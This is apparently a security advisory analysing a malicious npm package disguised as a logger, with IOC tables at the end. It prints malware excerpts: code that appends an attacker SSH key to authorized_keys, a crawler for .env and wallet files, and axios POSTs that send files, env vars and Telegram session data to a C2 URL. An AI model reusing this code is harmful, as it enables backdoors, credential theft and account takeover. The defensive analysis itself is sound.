chalk-logger-prettier — SSH Backdoor, Filesystem Crawler & Telegram Session Theft
Malicious npm package masquerading as a CLI logging utility. The description — "Pretty colorized changelog-style logger with timestamps and level icons" — is entirely fabricated; the package contains no logging functionality. On import, it immediately executes a multi-stage payload without any function call required by the consumer: it appends a hardcoded attacker SSH public key to ~/.ssh/authorized_keys, crawls the filesystem across Linux, Windows, and macOS for .env files, crypto-keyword JSON files, and documents, exfiltrates them in batches to a Vercel-hosted C2, and steals the Telegram Desktop tdata folder. Three versions were published across 12–14 March 2026. The package is published by the same npm account (bababa / [email protected]) responsible for tracing-str (npm-2026-001), confirming a shared threat actor operating multiple malicious packages simultaneously. Notably, the package declares zero runtime dependencies despite making HTTP requests — dependencies are bundled into the compiled output to avoid appearing in dependency scanners.
Publisher Link to tracing-str
chalk-logger-prettier shares its npm publisher account with tracing-str (npm-2026-001): both are published by the account bababa with maintainer email [email protected]. Both packages also use Vercel-hosted C2 infrastructure with similar subdomain naming conventions (chalk-logger.vercel.app vs hsdf22-tracing-ethers.vercel.app).
Execution on Import — No Function Call Required
Unlike packages that require the consumer to call an exported function, chalk-logger-prettier executes its full payload at import time using top-level async calls with errors silently suppressed. A developer who installs the package and imports it — even just to test it — triggers the entire chain immediately.
_ssi(...).catch(() => {}); // SSH key persistence
_spe(...).catch(() => {}); // environment / IP exfiltration
_sejf().then(_sr => {
_saf(...); // file exfiltration
_stia(...); // Telegram tdata theft
}).catch(() => {});
Hardcoded SSH Key Persistence
Rather than fetching a key from the C2 dynamically (as seen in tracing-str), this package embeds the attacker's SSH public key directly in the source. The key is attributed to [email protected]. It checks whether the key is already present in authorized_keys before appending, and sets correct directory and file permissions (chmod 700 on ~/.ssh, chmod 600 on authorized_keys) to ensure the SSH daemon will accept the key. This gives the attacker permanent, passwordless SSH access to every Linux and macOS machine that imports the package.
const _pk = `ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDwzFmTsUVxphkQy4Ua6bEeBGqtWCX9VJpXG8Q1Y6TMI [email protected]`;
// _ark checks for duplicates and sets correct permissions before appending
await _ark(_pk);
Multi-Platform Filesystem Crawler
The _sejf and _sfr functions crawl the entire filesystem, adapting their root paths per operating system. Linux targets the current user's home directory and all /home/* directories. Windows enumerates drives C through J. macOS targets all /Users/* directories. The crawler applies smart exclusions (node_modules, build, dist, assets, and similar) to reduce noise and scan time, ensuring the attacker receives high-signal data rather than junk. Three file categories are targeted. Environment files: any file whose name ends in .env, regardless of location. Crypto and credential JSON files: any .json file whose name matches keywords including wallet, mnemonic, seed, privatekey, keystore, metamask, phantom, trezor, and ledger. Documents: .txt, .doc, .docx, .xls, and .xlsx files whose names match the same keyword list.
// Linux — home dir + all /home/* users
if (platform === 'linux') {
roots = [os.homedir(), '/home'];
}
// Windows — drives C through J
else if (platform === 'win32') {
roots = ['C:\\', 'D:\\', 'E:\\', 'F:\\', 'G:\\', 'H:\\', 'I:\\', 'J:\\'];
}
// macOS — all /Users/* directories
else if (platform === 'darwin') {
roots = ['/Users'];
}
const cryptoKeywords = [
'wallet', 'mnemonic', 'seed', 'privatekey',
'keystore', 'metamask', 'phantom', 'trezor', 'ledger'
];
File Exfiltration — Batched POST to C2
Matched files are batched in groups of 50 and POSTed to the C2's /api/validate endpoint. Each payload includes the victim's OS, public IP, username, and file contents. A deduplication check (alreadySent flag returned by the C2) prevents the same files being sent twice across multiple executions.
const BATCH_SIZE = 50;
for (let i = 0; i < files.length; i += BATCH_SIZE) {
const batch = files.slice(i, i + BATCH_SIZE);
await axios.post('https://chalk-logger.vercel.app/api/validate', {
os: os.platform(),
ip: publicIp,
username: os.userInfo().username,
files: batch
});
}
Telegram Desktop Session Theft
The _stia and _ptg functions locate and exfiltrate the Telegram Desktop tdata folder — the directory that stores Telegram session keys, allowing full account takeover without credentials or 2FA. On macOS the path is ~/Library/Application Support/Telegram Desktop/tdata; on Windows it is %APPDATA%/Telegram Desktop/tdata. A 500MB size cap is enforced. The folder contents are compressed into a gzip stream and POSTed to the C2. The same alreadySent deduplication check is applied to avoid re-sending on repeat executions. Telegram session theft is increasingly common in supply chain attacks targeting crypto and finance communities where Telegram is a primary communication channel.
const tdataPaths = {
darwin: path.join(os.homedir(), 'Library', 'Application Support', 'Telegram Desktop', 'tdata'),
win32: path.join(process.env.APPDATA, 'Telegram Desktop', 'tdata')
};
const SIZE_CAP_BYTES = 500 * 1024 * 1024; // 500MB
// Pack tdata into gzip stream and POST to C2
await _ptg(tdataPath, 'https://chalk-logger.vercel.app/api/validate');
Indicators of Compromise
Malicious packages
| Package | Version | Author | Notes |
|---|---|---|---|
| chalk-logger-prettier | 1.0.3 | bababa | Three versions published 12–14 March 2026 (1.0.1, 1.0.2, 1.0.3). Maintainer: bababa / [email protected] — same account as tracing-str (npm-2026-001). Declares zero runtime dependencies; HTTP client bundled into compiled output. |
Domains
| Domain | Type | Context |
|---|---|---|
| chalk-logger[.]vercel[.]app | C2 | Vercel-hosted C2 — receives exfiltrated files, env vars, and Telegram tdata |
URLs
| URL | Context |
|---|---|
| hxxps://chalk-logger[.]vercel[.]app/api/validate | Single endpoint used for all exfiltration — files, env vars, Telegram tdata, and deduplication checks |
Targeted file paths
| Path | Context |
|---|---|
| ~/.ssh/authorized_keys | Attacker SSH public key appended — passwordless SSH backdoor on Linux and macOS |
| ~/Library/Application Support/Telegram Desktop/tdata | Telegram session store targeted on macOS — full account takeover without credentials |
| %APPDATA%/Telegram Desktop/tdata | Telegram session store targeted on Windows |
| **/*.env | All .env files on the filesystem targeted by the crawler |
| **/{wallet,mnemonic,seed,privatekey,keystore,metamask,phantom,trezor,ledger}*.json | Crypto and credential JSON files targeted by keyword matching |
Environment variables / config paths
| Artefact | Context |
|---|---|
| * (all env vars) | Full process.env exfiltrated alongside IP, OS, and username |